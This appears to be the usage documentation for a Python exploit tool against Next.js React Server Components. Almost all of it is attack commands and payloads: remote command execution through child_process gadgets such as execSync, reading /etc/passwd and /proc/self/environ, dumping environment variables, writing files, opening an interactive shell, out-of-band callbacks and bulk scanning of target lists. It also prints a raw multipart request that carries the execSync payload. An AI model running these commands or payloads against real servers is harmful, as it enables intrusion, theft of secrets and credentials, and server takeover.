pip install requests

# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan

# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com

# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Interactive shell
python3 exploit-custom.py -u https://target.com --shell

usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
                         [-H HEADER] [-t THREADS] [--timeout TIMEOUT]
                         [--check] [--detect] [--scan] [--test-all]
                         [--oob HOST] [--cmd CMD] [--gadget GADGET]
                         [--read FILE] [--write FILE CONTENT] [--js JS]
                         [--shell] [-o OUTPUT] [-q]

# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect

# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan

# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com

# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json

# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json

# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json

# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync

# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ

# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"

# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"

# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"

# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"

python3 exploit-custom.py -u https://target.com --shell

[VULN] property_reference          Vulnerable pattern detected!
        -> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2       HTTP 200
[500]  action_ref_vm               digest:12345

0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}

------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--

Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]

# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt

# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json

# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com

# 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect

# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell